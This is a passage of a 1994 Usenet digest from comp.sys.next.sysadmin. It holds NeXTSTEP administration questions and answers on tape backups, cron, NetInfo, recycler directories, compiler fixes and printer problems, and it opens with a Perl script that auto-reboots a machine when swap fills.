machine lock up and be unusable is even more annoying, espcially if it's
a home directory server.
The sleep period depends on how much space there is, so as the space
shrinks it checks more often.
This script is called from rc.network which all my nexts call from rc
Note: I've not yet received mail from this, so consider it an alpha
release.
#! /usr/local/bin/perl
while (1) {
open(INFILE,"df|grep sd0a|");
while (<INFILE>){
# %space left is the fifth column in df.
$space = (split)[4];
chop $space; #turf the %
}
close INFILE;
if ($space >= 100) {
$grace = $space - 100;
$hostname = `hostname`;
$date = `date`;
open(OUTFILE,"|/bin/Mail -s \"Auto reboot on $hostname\" " root);
print(OUTFILE "$hostname was rebooted at $date. Swap disk was
at $space\n");
close OUTFILE;
system("shutdown -r +$grace \"Autoreboot to shrink swapfile.\"
&");
exit;
}
sleep (60*(100 - $space));
}
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
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From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Subject: Re: Tape problems
Message-ID: <1994Feb4.200857.13541@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <2i0toa$i89@fermat.mayo.edu> <1994Jan26.230001.892@free.fdn.org>
Date: Fri, 4 Feb 1994 20:08:57 GMT
Fabien Roy (fabien@free.fdn.org) wrote:
: In article <2i0toa$i89@fermat.mayo.edu> ray@tiberius (Ray Ghanbari)
: writes:
: >
: > Hi Folks,
: >
: > I'm having some problems archiving data to a DAT drive, but I am not
: > experienced enough with tape archiving to know if I am having a
: > command syntax problem, a problem with the tape driver, a faulty tape
: > drive, or something else.
: >
: > Details:
: >
: > NS/Intel 3.2 running on an Intel GX/P with Adaptec 1542 SCSI card.
: > Exabyte EXB-4200c 4mm DAT drive on the SCSI chain with 1 external
: harddrive
: >
: > I can create archives using gnutar and tar with no problems. However,
: > when I try to append to archives already on a tape, I invariably get
: > an I/O error. Here is an example:
: >
: > root:20# tar cvf /dev/rst0 test.spg
: > a test.spg 152 blocks
: > root:21# tar rvf /dev/rst0 test2.spg
: > tar: tape backspace error: I/O error
: > root:22# tar tvf /dev/rst0
: > rw-r--r-- 0/1 77620 Jan 24 10:09 1994 test.spg
: > root:23#
: >
: > gnutar reports an I/O error after seeking to the end of the archive,
: > without any other hints as to what is happening.
: >
: > I can extract archived files without problems.
: >
: > In summary, I can create archives and extract archives using gnutar
: > and tar, but I can not append to existing tape archives. Any
: > suggestions?
: >
: > Thanks
: >
: Did you test it on the non-rewinding device /dev/nrst0
That won't work either.
You cannot append to a file on either DAT or Exebyte drives. You need to
create a new file. In fact I think the only thing you can append to is a
9 track tape.
Fabian has a good point however. By using the non-rewind driver, you
can do things like this.
gnutar -cf /dev/nrst0 ThisDirectory
mt offline
Then next week.
mt -f /dev/nrst0 fsf
gnutar -cf /dev/nrst0 ThatDirectory
So now you have two tar files on the tape.
If you want to do the whole thing under script control, see
Tarchive.tar.Z on sonata. It allows tape labels, keeps index files,
registers tapes so that if you forget to take your tape out, that the
backup script doesn't clobber it that night, and can recover neatly from
the dreaded SCSI bus reset.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
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From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Cron stopped working after upgrade to 3.2
Message-ID: <1994Feb4.164433.1822@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <1994Feb3.182143.28007@mnemosyne.cs.du.edu>
Date: Fri, 4 Feb 1994 16:44:33 GMT
Without more information, it's hard to pinpoint your problem.
However, here are some general items to check:
1. Did you have a /etc/crontab.local that perhaps you deleted?
2. Are the permissions on /etc/crontab and /etc/crontab.local set
properly? chown root.wheel /etc/crontab* chmod u=rw,go=r
/etc/crontab*
3. Check the paths for each executable listed in your crontab files.
Perhaps, they have changed.
4. Check the format of the execution time in your crontab files.
Perhaps they are being executed but not at the time you want.
5. Make sure your system is set to the correct date, time and
timezone.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <1994Feb3.182143.28007@mnemosyne.cs.du.edu>
lroberts@nyx10.cs.du.edu (Larry Roberts) writes:
> After we installed NS 3.2 on 4 NeXTstation Turbo color machines
> the cron on each stopped working. It isn't obvious what is wrong.
> Crontab is the same as before the update, and cron is listed as
> a process. Any ideas as to what is wrong would be greatly
> appreciated. Thanks.
>
> -Larry Roberts
> -Naval Air Warfare Center, Indianapolis
>
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From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Return address problems from a nextstation
Message-ID: <1994Feb4.165153.1939@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2ip883$smq@condor.cs.jhu.edu>
Distribution: na
Date: Fri, 4 Feb 1994 16:51:53 GMT
Use HostManager to change it (go to the Local menu and deselect
autoconfigure, type in the new name, and press set) or edit your
/etc/hostconfig file.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2ip883$smq@condor.cs.jhu.edu> audley@condor.cs.jhu.edu
(Christopher Audley) writes:
> I have a NeXTstation which has been given the name falcon. I have
set this
> in the Local... menu of NetManager and in NetInfoManager. However,
when
> I mail something from that machine, the return address is
audley@localhost.
> How do I get it to use falcon instead of localhost?
>
> Chris
>
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From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Booting from a CD
Message-ID: <1994Feb4.165315.1999@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2ip7rt$4po@lastactionhero.rs.itd.umich.edu>
Date: Fri, 4 Feb 1994 16:53:15 GMT
You can also upgrade it from another machine that's networked to it.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2ip7rt$4po@lastactionhero.rs.itd.umich.edu>
danno@css.itd.umich.edu (Dan Pritts) writes:
> In article <9402021053.AA10494@dcs.shef.ac.uk>,
> Malcolm Crawford <M.Crawford@dcs.shef.ac.uk> wrote:
> >OK, so could somebody please gently explain how to upgrade a Cube
> >running 2.0 without a floppy to 3.2...?(!)
>
> easiest way: buy or borrow a scsi floppy.
>
> not too hard: borrow a floppy from a slab or a cube with internal.
> take cover off back of cube. connect floppy to appropriate
connector
> on motherboard. hang floppy in place, fits pretty well where fan
goes
> (you'll have to leave the back cover off during the upgrade)
>
> not too hard either: install the boot program from
> /usr/standalone/boot.cdrom on a 3.x system onto an optical or a
> secondary hard disk. You can do this from a 2.x system, but you'll
> have to put it in place of your current /usr/standalone/boot. use
the
> "disk -b" command to do this. It would be a good idea to keep your
> original /usr/standalone/boot file just on general principle. Then
> boot from this device; it will find the CDROM and transfer control
to
> it.
>
> i'm sketchy on the details, but i did this last to upgrade a 2.2
cube
> to 3.0.
>
> danno
> --
> dan pritts consultant/system administrator
> dan.pritts@umich.edu um itd/us unix support group
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From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Can't login as a regular user
Message-ID: <1994Feb4.165521.2061@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <JES.94Feb2225155@zhou.mth.msu.edu>
Date: Fri, 4 Feb 1994 16:55:21 GMT
Check the ownership of the /me account. My guess is that it's set to
root when it should be owned by "me". To fix it, log on as root and
do "chown -R me /me"
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <JES.94Feb2225155@zhou.mth.msu.edu> jes@math.msu.edu
(Jesse) writes:
> Machine: NeXT turbo running NeXTSTEP 3.0
>
> For some reason, I'm not able to login as a regular user while root
> can login without a problem. If I telnet to itself and login as
'me',
> the error message shows that 'No directory /me!" and close the
> connection. If I use 'su' to 'su me', I can become 'me' and access
> /me. Any idea what happens? Thanks.
>
> --Jesse
Message-ID: <48%@byu.edu>
Date: Fri, 4 Feb 94 16:42:50 MST
From: pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II)
Newsgroups: comp.sys.next.sysadmin
Subject: sendmail.8.6.5
I just picked up sendmail version 8.6.5 from ftp.cs.berkeley.edu
which has support for NetInfo on NeXT machines. I've built it on both
Motorola and Intel running NS3.2. Configuration files were created for the
mail server and for 25 other client machines. I replaced
sendmail.mailhost.cf on the mail server and sendmail.sharedsubsidiary.cf
on the clients and everything is working great. I haven't had enough of a
chance to test the NetInfo support to any great extent, but everything
seems to be working even better than it did with the standard NeXT stuff
and besides it's more secure. Kudos to the guy who contributed the
modifications for it. He's got one happy sysadmin here.
Paul M. Cardon
NeXTSTEP and HP System Manager
Math Dept. - Brigham Young University
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From: yanik@planon.qc.ca (Yanik Crepeau)
Subject: Re: Next as Mac File Server
Message-ID: <1994Feb4.192036.2939@planon.qc.ca>
Sender: yanik@planon.qc.ca
References: <1994Feb3.220439.6388@n1.nsf.gov>
Date: Fri, 4 Feb 1994 19:20:36 GMT
In article <1994Feb3.220439.6388@n1.nsf.gov> lbrandt@fiddler.cise.nsf.gov (Lawrence E.
Brandt) writes:
> I'd like to use my Next running Release 3.1 as a file server for a few
> office Macintoshes - that is, I'd like to have the users of the Macs see
> the Next through the Chooser as an AppleShare device. The Macs and the
> Next are all on the local ethernet. Anyone know of a software package to
> do this?
>
> Thanks.
>
> ==========
>
> Lawrence E. Brandt
> National Science Foundation
> (703) 306-1963
> lbrandt@nsf.gov
There is an hardware/software package that does exactly what you describe. The hardware
is named GatorBox and the software is named GatorShare. The GatorShare software runs in
the GatorBox.
The GatorBox is intended to be a bridge between AppleTalk and TCP/IP. The GatorShare add
a AFP (AppleShare) - NFS protocol translator.
There is also a product made by Wollogong that maps NFS servers as AFP servers. I don't
have more details.
Yanik
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From: kent@infoserv.com
Subject: Re: Need PCNFSD compiled for black NeXT
Message-ID: <CKMvFG.142@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
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Date: Thu, 3 Feb 1994 05:33:15 GMT
In article <2ik6af$m65@nntp.ucs.ubc.ca> alistair@bcu.ubc.ca (Alistair
Blachford) writes:
# I'd like to connect a PC to a NeXTstation using PC-NFS. Has someone
#already compiled "pcnfsd" for the NeXT? Thanks for any info/hints,
Try /usr/etc/rpc.pcnfsd, it's already on the system.
You will also need to add a directory /usr/spool/lp or pcnfsd will
not star up.
Kent
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From: perkins@andromeda.rutgers.edu (Steve Perkins)
Newsgroups: comp.sys.next.sysadmin
Subject: Does NSFIP put a swap file on the DOS partition?
Message-ID: <Feb.4.20.35.17.1994.14707@andromeda.rutgers.edu>
Date: 5 Feb 94 01:35:17 GMT
Organization: Rutgers Univ., New Brunswick, N.J.
I am running NSFIP with 2 physical hard disks and four partitions, 1 NS and
three DOS. Each of the DOS partitions has ~29 MB of free space. NSFIP reads
the free space on the C drive fine but says that the D drive has only 0.98 MB
of free space. Is NSFIP using ~28MB of the space on the D drive for swap space? Any other idea why this is happening?
Thanks for any thoughts.
Steven C. Perkins perkins@andromeda.rutgers.edu
From: chris@iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP me too! (Re: Netinfo Communication Problem...)
Date: 5 Feb 1994 02:04:01 GMT
Organization: Iowa State University, Ames, Iowa (USA)
Message-ID: <2iuuqh$quv@news.iastate.edu>
References: <2hib53$ldj@usenet.INS.CWRU.Edu> <2i0llv$15p@bilbo.suite.com>
In article <2i0llv$15p@bilbo.suite.com>,
Scot Shepherd <Scot_Shepherd@suite.com> wrote:
>In article <2hib53$ldj@usenet.INS.CWRU.Edu> djs16@po.CWRU.Edu (Donald J.
>Siegel) writes:
>>
> some deleted stuff...
>>
>> My goal is to have my simple stand-alone NeXT functioning on
>> my school's network as it was before...
>>
>
>I have been through this myself but I would need more info to help you.
>Like is the netinfomgr on your schools net or are you setting your machine
>up as one. What exactly are the error messages (during boot)? Most of the
>problems I've seen are bad entries in hostconfig like a bad ipbroadcast
>address etc... check these closely.
I tried to get NS 3.2 hooked up to the network (ethernet) in my room.
I never do this with NS 3.1. I'm clueless to networking with NS.
What I need to do is to set up a stand-alone NS/FIP box with the Intel
EtherExpress 16C (Using RJ-45 10BaseT) ethernet card to the already
existing large campus network. So, what is the starting point and
which app to use to configure the machine? I know the IP address and
gateway IP address, broadcasting thing, netmask and the addresses of
the name servers... etc. But, don't know where to start? The Network
and System Admin book didn't mention anything about adding a machine
to an existing network.
Please help!!!! I'm desperate... :(
Chris
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From: gbrown@raven.ctr.columbia.edu (Glenn Brown)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Recycler problem? (BW RTF)
Date: 5 Feb 1994 02:54:55 GMT
Organization: Columbia University Center for Telecommunications Research
Distribution: world
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Mark Murphy writes
> Does anyone have an answer to this problem? I've recently installed
a 1.2GB
> external HD on a NeXT Cube. I formatted the disk on the NeXT using
the
> automatic initialize feature when the machine could not read the
SCSI device.
> The problem is when I toss a file from this disk to the recycler, I
get the
> message:
>
> Folder xxxxx is located on a disk without recycler.
> Continuing will really destroy the files.
From NeXTanswers:
hard disk external recycler
Q: How do I get a recycler on my external hard disk?
Q: My new external disk displays a panel indicating "No
recycler for device..."
A: In order to have recycler on an external disk, you must have
a .NextTrash directory at the mount point for the drive. As an
example, here is how you would create a recycler for an external disk
mounted as /archive (issue the following commands as root in a
Terminal window):
machine# cd /archive
machine# df .
Filesystem kbytes used avail capacity Mounted on
/dev/sd2b 216311 152584 42095 78% /archive
machine# mkdir .NextTrash
machine# chown root.wheel .NextTrash
machine# chmod 1777 .NextTrash
machine# ls -ldg .NextTrash
drwxrwxrwt 19 root wheel 1024 Sep 30 10:42 .NextTrash/
QA812
Valid for 2.0
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From: jburke@bodacious.csc.wsu.edu (John L. Burke)
Subject: AppleTalk printers showing in PrintManager
Message-ID: <1994Feb4.175728.27798@serval.net.wsu.edu>
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Distribution: na
Date: Fri, 4 Feb 94 17:57:28 GMT
We have a LanManager network here, with printers being exported to the
AppleTalk portion of our network. How do I get to be able to choose
Appletalk as the communication port under PrintManager so that I can see
all the AppleTalk zones, ie printers available on the network. Is there
someone who can tell me what to do so that I can print to those printers?
I did it once, and for the life of me I can't figure out what I did!!!!!
Thanks!
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From: ginsparg@lanl.gov (PG)
Subject: problem with 3.2 DL Shakespeare/.index.store
Message-ID: <1994Feb4.003911.8267@newshost.lanl.gov>
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Lab
Date: Fri, 4 Feb 1994 00:39:11 GMT
there are known problems with DL indexes,
e.g. with the black 3.2 provided
/NextLibrary/Literature/Shakespeare/.index.store --
namely, the index is searched but then DL goes on to search
*all* the individual files, taking forever. (note that i have
had Shakespeare since 2.0 so this bug was developed at some point
in my upgrade sequence 2.0->2.1->3.0->3.2 (not sure when
exactly since only recently returned to literary pursuits])
In article <9401191251.AA02837@dcs.shef.ac.uk> M.Crawford@dcs.shef.ac.uk
(Malcolm Crawford) writes:
>
> You have to index with ixbuild -s (at least) if you want "static"
> indexes. (DL doesn't do this if you use the target inspector to
> index). Otherwise, DL thinks that the source may have changed, so
> after it searches the index, it goes through all the source files...
> This behaviour is counter-intuitive, so I've filed a bug against it.
> To work around this "bug" you therefore have to index targets from the
> Unix command-line.
> ...
> To index, type
>
> ixbuild -fgsv -LEnglish .
>
rebuilding according to above suggestion:
cd /NextLibrary/Literature/Shakespeare
mv .index.store /tmp
ixbuild -fgsv -LEnglish .
and indeed the search terminates on the static index.
but the index has increased dramatically in size from
-rwxr-xr-x 1 root 1499136 Aug 20 16:37 .index.store
to
-rw-r--r-- 1 root 2564096 Jan 29 22:26 .index.store
out of curiousity ixbuild without the -g switch gave
-rw-r--r-- 1 root 2342912 Jan 29 22:36 .index.store
izumi@pinoko.berkeley.edu (Izumi Ohzawa) suggested
> I believe NeXT uses a file .index.swords containing common words
> that you don't want to be indexed like: for, they, that, me, etc.
> But they probably don't ship the file in the distribution in the
> directory. Try
> cp /usr/dict/connectives .index.swords
> mv .index.store /tmp
> ixbuild -fgsv -LEnglish .
but the result was
-rw-r--r-- 1 root 2351104 Feb 2 19:11 .index.store
still almost 1Mb larger than the one on the 3.2 CD-ROM (which
as mentioned doesn't work properly).
does anyone know how nExt constructed .index.store so static
ones can be reconstructed without unnecessarily costing a Mb?
pg
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From: tjyang@cc.nsysu.edu.tw (Tyng-Jing Yang)
Subject: Paper jammed problem
Message-ID: <TJYANG.94Feb5125348@cc.nsysu.edu.tw>
Sender: news@news.nsysu.edu.tw
Organization: NSYSU Computing Center
Date: Sat, 5 Feb 1994 04:53:47 GMT
I always got a paper jammed message when I try to print.
But actually there is nothing in the paper path. (I know because
I once dismantled the printer and put it back togethor)
I suspect the paper jammed sensor is malfunction.But where is
the sensor responsible for paper jammed ?
Thanks for any input
Tyng-Jing Yang
#221 Sec. 2 Chin-Nein Rd.
Fong-Shang City 830,Taiwan
FAX/Phone: +886-7-7423118
tjyang@cc.nsysu.edu.tw
tjyang@cubic.entrance.com.tw(NeXTMail OK)
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From: jmack@skye.phys.ualberta.ca
Subject: Re: libg++.a compilation
Message-ID: <1994Feb5.044251.615@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <2ilvctINN6id@jumbo.read.tasc.com>
Date: Sat, 5 Feb 1994 04:42:51 GMT
In article <2ilvctINN6id@jumbo.read.tasc.com> mcli@minnie.Read.TASC.COM
(Maurice C. Ling) writes:
> [ Article crossposted from comp.sys.next.software ]
> [ Author was Maurice C. Ling ]
> [ Posted on 1 Feb 1994 16:16:25 GMT ]
>
> Hi everyone,
>
> I'm having some troubles getting libg++.a version 2.5.3 working with
> gcc 2.5.8. When running "make check", it dies on the first test_h.cc
> program, giving:
>
> ld: Undefined symbols:
> _S_ISREG
> _S_ISCHR
>
> Has anyone else compiled the recent versions of libg++?
I have already submitted a bug report to prep.ai.mit.edu
(Jan 3/94). It's rather independent of the minor version
of gcc 2.5.x, and specifically directed at libg++-2.5.3
Solution:
---------
add these defs to libg++-2.5.3/libio/libioP.h:
--
#ifndef S_ISCHR
#define S_ISCHR(mode) (((mode) & S_IFMT) == S_IFCHR)
#endif
#ifndef S_ISREG
#define S_ISREG(mode) (((mode) & S_IFMT) == S_IFREG)
#endif
--
since fileops.c and filedoalloc.c both #include "libioP.h"
and these files are where the macros are called.
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From: sengwil@mail.auburn.edu (William F. Seng)
Subject: Re: Recycler problem?
Message-ID: <CKqoGC.Ctv@mail.auburn.edu>
Followup-To: comp.sys.next.programmer,comp.sys.next.sysadmin
Sender: usenet@mail.auburn.edu (Usenet Administrator)
Organization: Auburn University
References: <2irpe3$emh@oak.oakland.edu>
Date: Sat, 5 Feb 1994 06:52:59 GMT
Mark Murphy (mark@opus.pass.wayne.edu) wrote:
: The problem is when I toss a file from this disk to the recycler, I get the
: message:
: Folder xxxxx is located on a disk without recycler.
: Continuing will really destroy the files.
You hit the nail on the head. Place a folder named .NextTrash on the
drive, and you are all set. If I recall correctly, permissions
on the folder should be rw owner only, and the owner should be root.
I just finished installing a 1.2 GB drive myself, and found out the
hard way. There seems to be a lack of info on this point in the
docs.
BTW, if you leave the drive as auto-mounted, realize that, just like an
automounted floppy or optical, all the ownerships of files are
set to the person who is logged in. This does wonderful things to Apps
that expect to be run as root! To avoid this, mount the drive
via the .rclocal or /etc/fstab. Then, the drive is mounted
by the root in the boot process and permissions are preserved.
Hope this helps
- Bill
(probably the only fellow here without a fancy sig file - yet!)
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: NIS not runing?
Message-ID: <1994Feb5.054500.2449@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Feb3.193603.21923@ncsu.edu>
Date: Sat, 5 Feb 1994 05:45:00 GMT
In article <1994Feb3.193603.21923@ncsu.edu> sun@unity.ncsu.edu (Ying-Hsuan
NMI Sun) writes:
> I just installed my Nextstep/FIP, and setup my network as a stand alone
> machine, and got every network information setup, and I can telnet out
> fine. However after logout and turn on the machine again, Nextstep boot
> and then stop at " YP ", I type ^c and it went on, and then it stop ant
> "Automount", I type ^c again and it went on. And then language and
> keyboard setup screen appear, not a login box! I select USA and go on,
> then workspace show up. After that I can not reach the network.
It is a new feature in 3.2 that affects Intel machines. After setting an
IP address for stand alone hosts, NetInfo is unable to start.
Solution: reset the IP address field in /etc/hostconfig. This is only
required if the machine is connected to a net.
Paul
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Resetting nbuf numbers
Message-ID: <1994Feb5.062321.2649@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <2io8n4$e6@news.UU.NET>
Date: Sat, 5 Feb 1994 06:23:21 GMT
In article <2io8n4$e6@news.UU.NET> mickey@grendel.UU.NET (Mickey Lasky)
writes:
>
>
>
> How do I change the amount of nbufs I boot up with under NS3.0? I am
using
> what appears to be the maximum and it us only leaving me with 6.xx of
memory and
> I would like to reclaim some, maybe bring me back to 7Mb.
Go into the ROM monitor and use the p command to change the boot command
line. This has to be 11 characters or less, so use the form:
sd- nbu=111
where 111 is your desired number of buffers.
Paul
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Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc
Subject: Re: Problems printing envelopes with NeXT printer.
Date: 5 Feb 1994 15:30:55 +0100
Organization: University of Bergen
Message-ID: <2j0aiv$pld@alf.uib.no>
References: <2ipf1j$9hs@alf.uib.no> <BOOLB5WD@gwdu03.gwdg.de>
In article <BOOLB5WD@gwdu03.gwdg.de>,
Stephan Trebels <trebels@theo-phys.gwdg.de> wrote:
>Thor Legvold (edmtl@alf.uib.no) wrote:
>> lying right in the middle of the bottom of the printer, under the
>> toner cassette, with toner deposited correctly on the envelope.
>
>This happens indeed, if you try to print outside the paper/envelope
>inserted. When toner would miss the paper, printing is stopped. You
I'm not doing that. I used Edit (in RTF format) to make a layout
that matched the envelope (i.e. tabs and returns until the name and
address were centred). It printed perfectly - the envelope had
toner (i.e. what I was printing - name + address) in exactly the
middle as I defined, but the envelope wasn't being drawn through
the printer - it would simply lie there, maybe the rollers didn't
grab it? I then got "Paper jammed" message and had to use lpc
to get everything up again. Simply correcting the jam did not
help.
Many have suggested slightly bending the leading edge (as it goes
into the printer) of the envelope downwards slightly, I have not
tried yet, but shal. Rather complicated if I shal print many
enveloped, I think...
>can either enter the correct measure in PageLayout yourself, or use
>some App to generated envelopes. e.g there is Poste.app (not too
>marvelous, but it works...)
I do not think that page layout is problem - I have tried A4, Letter,
and the actual envelope size. I think the problem is a mechanical
weakness with the NeXT 400dpi printer. Maybe it's just because
mine is new, and will work when it's broken in.
>
>\begin{quote}
>
Let me guess who wrote Poste.app... ;-)
>\end{quote}
>
>Ciao, Stephan
>--
>trebels@theo-phys.gwdg.de
Regards,
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NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
Newsgroups: comp.sys.next.sysadmin
From: me@next45.wsi.physik.tu-muenchen.de(Matthias Rosenberger)
Subject: Re: AppleTalk printers showing in PrintManager
Message-ID: <1994Feb5.175103.29998@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <1994Feb4.175728.27798@serval.net.wsu.edu>
Date: Sat, 5 Feb 1994 17:51:03 GMT
In article <1994Feb4.175728.27798@serval.net.wsu.edu>
jburke@bodacious.csc.wsu.edu (John L. Burke) writes:
> We have a LanManager network here, with printers being exported to the
> AppleTalk portion of our network. How do I get to be able to choose
> Appletalk as the communication port under PrintManager so that I can see
> all the AppleTalk zones, ie printers available on the network. Is there
> someone who can tell me what to do so that I can print to those printers?
> I did it once, and for the life of me I can't figure out what I did!!!!!
>
Do you have NS3.2 installed? Then, as far as I experienced, you have to
use the old NS 3.0 PrintManager.app for the AppleTalk printer access.
The NS 3.2 app doesn't seem to recognize AppleTalk anymore :^((
--
Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
email: mrosen@next45.wsi.physik.tu-muenchen.de (NeXTmail wellcome)
Newsgroups: comp.sys.next.sysadmin
From: bamberg@eecs.wsu.edu (Roberto Bamberger - Faculty)
Subject: No login without home directory?
Message-ID: <1994Feb5.213623.234@serval.net.wsu.edu>
Keywords: login, security
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Date: Sat, 5 Feb 94 21:36:23 GMT
Is there an easy way to ensure that if a user does not have an account or
for some reason the NeXT can not find the users home directory that the
user is bumped off and not logged in. Currently, if my NeXT can not find
the users directory, it automatically logs them in and lets them use /. I
turned off the write permissions to /, but I do not want it to let the
poeple in.
Please respond to me by email as I seldom read this group. Also, apolgies
if this is a FAQ.
--
Dr. Roberto H. Bamberger
Office:(509)-335-4053
Assistant Professor
FAX:(509)-335-3818
School of Electrical Engineering and Computer Science
Washington State University
Pullman, WA 99164-2752
Newsgroups: comp.sys.next.sysadmin
From: jimbo@oingo.umn.edu
Subject: Re: Command+~ Is a Farce!!!!
Message-ID: <CKrzLu.AF6@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
References: <1994Feb3.003335.2128@bozell.com>
Date: Sat, 5 Feb 1994 23:47:57 GMT
In article <1994Feb3.003335.2128@bozell.com> mhamrick@dallas.bozell.com(Matt
Hamrick) writes:
> In article <CJuxAM.JB@news2.cis.umn.edu> jimbo@oingo.umn.edu writes:
> -> Think about it. It doesn't relly work!
>
> This has got me worried, what about Command+~ doesn't work ?
command+~ doesn't work the actuall key combination is command+`
Now some will say this is a minor point but tell that someone who has
spent time on the phone with a novice who is trying to reset their
computer with command+~ and it doesn't work. You think they are doing
what your telling them to do but their not!
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jimbo@oingo.umn.edu (SLIP)
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From: jimbo@oingo.umn.edu
Subject: Q? How to email to a SLIP IP Address
Message-ID: <CKrztD.AI3@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Sat, 5 Feb 1994 23:52:27 GMT
When I attach via SLIP to the Net, I am assigned an IP address like
134.84.101.172
now, my account name is either root or jimbo on this machine. How
can I send an email directly to that address and not have it bounce
as it always does?
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jimbo@oingo.umn.edu (SLIP)
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From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: SUMMARY: NeXT printer and envelopes.
Date: 6 Feb 1994 01:23:14 +0100
Organization: University of Bergen
Message-ID: <2j1d9i$hcr@alf.uib.no>
Thanks for all the suggestions. The basic consensus is that the
NeXT printer does not handle envelopes well...
Most suggested creasing the leading edge as much as possible to
help, and to bend the leading edge slightly downwards, or corners
slightly upwards. Well, nothing worked for me, untill I thought
that by giving the printer more to grab onto it might work.
By placing a piece of paper under the envelopes loose "top" (which
is glued in place after you put a letter in, you see?) , and
pushing the envelope into the printer with the paper (and the
paper too!) the printer was fooled into thinking it was just a
thick piece of paper, and it worked. Not elegant (I don't look
forward to christmas cards now...) but effective.
Thanks again for the suggestions.
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: LaunchPad "timebomb" problems.
Date: 6 Feb 1994 01:25:31 +0100
Organization: University of Bergen
Message-ID: <2j1ddr$hgo@alf.uib.no>
Perhaps I've missed something, but I thought LaunchPad was now
public domain and free. I compiled a copy I ftp'd, after
changing the reference to appkit/defaults.h, and it built O.K.
When I ran it it said my license had expired! Is there a fix,
or is this how it (a "free" program) is designed to work?
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: spagiola@frinext.stanford.edu (Stefano Pagiola)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SUMMARY: NeXT printer and envelopes.
Date: 6 Feb 1994 00:51:59 GMT
Organization: Stanford University
Message-ID: <2j1evf$j6c@nntp2.Stanford.EDU>
References: <2j1d9i$hcr@alf.uib.no>
Thor Legvold writes
> Thanks for all the suggestions. The basic consensus is that the
> NeXT printer does not handle envelopes well...
Oh? I often print envelopes, with InTouch's handy "print envelope"
feature, and I've never had problems, except when using real thin
envelopes, which tend to wrinkle because of the heat of the drums.
But they feed through with no problems at all.
Ciao, Stefano
---
Stefano Pagiola
Food Research Institute, Stanford University, Stanford CA 94305-6084
Tel 415-725-0939, Fax 415-725-7007
Email spagiola@leland.stanford.edu (NeXTMail encouraged)
From: dgc@ccrwest.org (David G. Cantor)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc
Subject: Re: Problems printing envelopes with NeXT printer.
Date: 5 Feb 1994 16:58:12 -0800
Organization: IDA Center for Communications Research
Message-ID: <2j1fb4$6ao@ccrwest.ccrwest.org>
References: <2ipf1j$9hs@alf.uib.no>
edmtl@alf.uib.no (Thor Legvold) writes:
>I cannot seem to get envelopes to print. I am using standard A4
>business envelopes (measure 22cm by 11cm). Yes, I've read the manual.
>And the FAQ. And NeXT Answers.
>I've tried setting paper size to both LTR and A4 without any luck.
>I have (so far) tried manual feed - I imagine that's the easiest to get
>to work. It seems that the envelope isn't drawn beyond the toner
>cartridge to the rollers that melt the toner - the envelope is left
>lying right in the middle of the bottom of the printer, under the
>toner cassette, with toner deposited correctly on the envelope.
>Could someone who has solved this or similar problem, or who knows
>how to fix this, please send me an e-mail?
At the point where the envelope stops, it has to curve downward into
